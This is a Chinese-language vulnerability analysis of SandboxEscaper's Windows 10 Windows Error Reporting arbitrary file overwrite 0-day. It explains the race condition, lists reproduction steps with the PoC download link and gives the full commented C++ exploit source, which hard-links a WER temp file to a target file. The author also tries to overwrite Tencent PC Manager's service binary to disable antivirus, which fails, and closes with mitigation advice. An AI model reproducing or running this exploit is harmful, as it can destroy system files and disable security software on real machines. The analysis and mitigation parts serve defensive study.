Windows 0day任意文件覆盖漏洞分析与验证

漏洞名称

windows任意文件覆盖。

漏洞介绍

安全研究员SandboxEscaper披露Windows操作系统中第四个0-day漏洞的漏洞利用代码，利用该漏洞可以覆盖任意Windows10文件，包括通常无法访问的基本文件，例如SandboxEscaper在POC中给出的pci.sys文件，直接造成系统拒绝服务，当然可以用此方法来关闭第三方杀软，原文如下：

其漏洞发生模块为WER(Windows error report),WER是一个灵活的基于事件的反馈基础架构，用户收集硬件和软件发生问题时进行异常回收，然后发送给Microsoft，并给用户提示合适的异常解决方法。

当发生异常时，首先需要使用一系列参数描述该异常，例如应用名字、应用版本、模块名字、模块版本、错误代码等，然后根据这个异常描述,WER模块便通常查询WER服务器给用户返回一个异常修复方法，假如WER服务器上存在该描述的异常，则直接返回解决方案然后通过WER显示给用户，假如WER服务器上没有改描述的异常，则返回一个状态码，通过WER显示并询问用户是否将当前错误发送给微软用于以后研究。

漏洞本质

Time of Check Versus Time of Use（TOCTOU），原理参考https://www.freebuf.com/vuls/192876.html。

漏洞利用基础环境

原文中描述该漏洞成功利用限制较多，最少要满足以下三个要求，但经过测试，其必须连接网络要求可以并不需要，实际限制条件只有下面两个：

1.系统版本必须为windows10（其他版本win7、win2008、win2012经测试均无法复现利用），

2.非单个CPU（单CPU多内核也是不满足条件的）

再没有网络连接的时候，在win10上是可以成功复现的，只是会在C:\ProgramData\Microsoft\Windows\WER\ReportQueue路径下留下了\1_1_1_1_1\Report.wer文件，即表示该文文件未成功发送给wer服务器：

POC验证与利用

1.下载https://github.com/SandboxEscaper/randomrepo/blob/master/angrypolarbearbug.rarPOC文件。

2.桌面新建test.txt，随意输入内容：

3.确保Report.wer和AngryPolarBearBug.exe在同一目录，运行POC文件。

4.被覆盖后的test.txt文件如下：

POC原理分析

任意文件覆盖利用成功主要在于主程序中runme（自己创建的线程，在该线程中使用硬链接方式覆盖目标文件）与system（使用计划任务给wer服务器发送异常报告）这两个线程函数存在时间竞争，关于具体实现过程可参考下面源码注释：

#include <iostream>
#include "stdafx.h"
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <strsafe.h>
const char* targetfile;//定义一个指向需要被覆盖的文件的指针
bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname);//CreateNativeHardlink声明，用于创建一个硬链接
std::wstring s2ws(const std::string& str)//将多字节编码转换成宽字节编码
{
	int size_needed = MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0);//获取需要的缓冲区大小，类型为int型
	std::wstring wstrTo(size_needed, 0);//申请空间时，将缓冲区大小按字符计算
	MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), &wstrTo[0], size_needed);
	return wstrTo;
}
DWORD WINAPI MyThreadFunction(LPVOID lpParam)//定义自己的线程函数
{
	LPCWSTR filename1;//LPCWSTR指向unicode编码字符串的32位指针
	LPCWSTR root = L"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\";
	HANDLE hDir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp",FILE_LIST_DIRECTORY,FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,NULL,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,NULL);
	FILE_NOTIFY_INFORMATION strFileNotifyInfo[1024];//FILE_NOTIFY_INFORMATION定义一个文件通知结构体
	DWORD dwBytesReturned = 0;
	std::wstring extension = L".xml";
	
	std::string targetf(targetfile);
	std::wstring targetfw = s2ws(targetf);
	bool blah = false;
	const wchar_t* targetfww = targetfw.c_str();//targetfww为最终转换后的指向需要被覆盖的文件的指针
	while (TRUE)
	{
		ReadDirectoryChangesW(hDir, (LPVOID)&strFileNotifyInfo, sizeof(strFileNotifyInfo), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME, &dwBytesReturned, NULL, NULL);//监控到hDir指向的目录下是否有文件发生改变
		filename1 = strFileNotifyInfo[0].FileName;//获取变化的文件名
		std::wstring df = std::wstring(root) + filename1;//构造变化的文件的绝对路径
		std::wstring::size_type found = df.find(extension);//判断该文件后缀是否为xml
		if (found != std::wstring::npos)//匹配到了后缀为xml的文件
		{
			LPCWSTR dfc = df.c_str();//指向该变化文件的绝对路径
			do
				{
				blah = CreateNativeHardlink(dfc,targetfww);//创建一个硬链接，当dfc文件变化时，targetfww文件（需要被覆盖的文件）也会跟着变化
				} while (blah == false);//成功返回1,跳出创建线程的循环
				return 0;
		}
	}
	return 0;
}//那么我们现在只需要创造出一个异常，并保存到C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp目录下，调用该函数时便会成功执行，即覆盖我们的目标文件

void runme() {  //创建一个线程
	HANDLE mThread = CreateThread(NULL, 0, MyThreadFunction, NULL, 0, NULL);//线程安全属性、堆栈大小、线程函数、线程参数、线程创建属性、线程ID
}
int main(int argc, const char * argv[])
{
	if (argc < 2) {  //判断输入的参数格式是否正确
		std::cout << std::endl << "Please include a filepath as first parameter";
		return 0;
	}
	DWORD dwFileSize = 0;
	DWORD dwFileSize2 = 0;
	targetfile = argv[1];//指向获取需要被覆盖的目标文件绝对路径
	HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);//打开需要被覆盖的目标文件
	if (hFile == INVALID_HANDLE_VALUE)//打开需要被覆盖的目标文件句柄时发生异常了
	{
		std::cout << std::endl << "I do not have read permissions for this file or file does not exist";
		return 0;
	}
	dwFileSize = GetFileSize(hFile, NULL);//先获取需要被覆盖的目标文件的大小，用于下面判断该文件是否已经被覆盖
	dwFileSize2 = dwFileSize;
	CloseHandle(hFile);//关闭目标文件句柄
	std::cout << std::endl
		<< "/////////////////////////////////////////////////////////" << std::endl
		<< "//抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl
		<< "//抖抖抖抖抖抖ЁЁЁЁ抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl
		<< "//抖抖抖抖?``````````````11Ё抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl
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		<< "//抖``````````BIPOLAR BEAR`````````````````````1Ф抖抖?/" << std::endl
		<< "//?`1`````````````````````````````````````````1`1抖抖?/" << std::endl
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		<< "//锭`````````````11`````````Ё``1抖抖抖抖抖抖抖抖抖抖//" << std::endl
		<< "//禶`````1抖```````抖抖1`````?````抖抖抖抖抖抖抖抖抖抖//" << std::endl
		<< "//禶````Ф抖?`````抖抖```抖1````1抖抖抖抖抖抖抖抖抖?/" << std::endl
		<< "//```Ф抖抖禶```1抖抖```抖禶````抖抖抖抖抖抖抖抖抖?/" << std::endl
		<< "//禶```Ф抖抖禶```1抖抖```抖抖````1抖抖抖抖抖抖抖抖抖//" << std::endl
		<< "//抖111`11抖抖1``````1抖```1Ф?````11抖抖抖抖抖抖抖?/" << std::endl
		<< "//抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl
		<< "/////////////////////////////////////////////////////////" << std::endl;
	std::cout << std::endl << "---------------------------------BIPOLAR BEAR SALUTES YOU------------------------------------------------------------" << std::endl;
	Sleep(2000);
	do {

		CreateDirectoryW(L"c:\\programdata\\microsoft\\windows\\wer\\reportqueue\\1_1_1_1_1", NULL);//再c:\\programdata\\microsoft\\windows\\wer\\reportqueue\\下创建1_1_1_1_1子目录
		CopyFileW(L"Report.wer", L"c:\\programdata\\microsoft\\windows\\wer\\reportqueue\\1_1_1_1_1\\Report.wer", true);//复制当前目录下Report.wer文件到上面创建子目录中，即将该Report.wer异常包加入异常报告队列
		runme();//在发送异常报告时，会在C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp，目录下产出一个临时文件Report.wer，此时便会被我们自己创建的线程捕获，在线程中替换了目标文件
		system("SCHTASKS /Run /Tn \"Microsoft\\Windows\\Windows Error Reporting\\QueueReporting\"");//通过system函数调用计划任务运行WER，模拟系统发送给wer服务器发送异常，故该漏洞利用条件之一需要连接网络
		HANDLE hFile2 = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);//重新获取目标文件句柄
		if (hFile2 != INVALID_HANDLE_VALUE)//判断当前文件大小与上一次的文件大小是否相等，假如相等便成功替换
		{
			dwFileSize2 = GetFileSize(hFile2, NULL);
		}
		CloseHandle(hFile2);
	} while (dwFileSize == dwFileSize2);
	std::cout << std::endl << "---------------------------------DATA IN FILE SUCCESSFULLY DESTROYED - Press key to exit------------------------------";
	getchar();//退出主进程
}

针对于作者原文中提到利用该漏洞可能绕过第三方杀软，我做了如下测试，测试对象为腾讯的电脑管家，尝试覆盖电脑管家运行时的关键文件以达到关闭杀软的效果。

首先打开任务管理器找到电脑关键的核心服务的QQPCMgr RTP Service ,然后再通过services.msc找到该服务，右击属性找到该服务程序的路径，”C:\Program Files (x86)\Tencent\QQPCMgr\13.0.19838.236\QQPCRTP.exe” ，那么我们把该文件覆盖掉是不是就可以关闭电脑管家，操作如下：

尝试覆盖QQPCRTP.exe文件，提示I do not have read permissions for this file or file does not exist，发现我们并不能覆盖该文件，导致该错误是由于，POC中是直接通过CreateFile的方式来获取目标文件句柄的，由于该文件处于正在运行状态，导致获取句柄失败，即关闭杀软失败，无法利用该漏洞去覆盖正在运行的程序。

漏洞修复

1.经验证该漏洞只适用于win10系统版本，截至目前，微软官方并未发布补丁，由于该漏洞环境为本地，不可以远程触发，为防止攻击者对该漏洞进行利用，用户不要下载与运行来源不明的软件。

2.通过services.msc临时关闭Windows Error Reporting Service。

参考

https://github.com/SandboxEscaper/randomrepo/blob/master/angrypolarbearbug.rar
https://docs.microsoft.com/en-us/windows/desktop/wer/about-wer
https://docs.microsoft.com/zh-cn/windows/desktop/FileIO/hard-links-and-junctions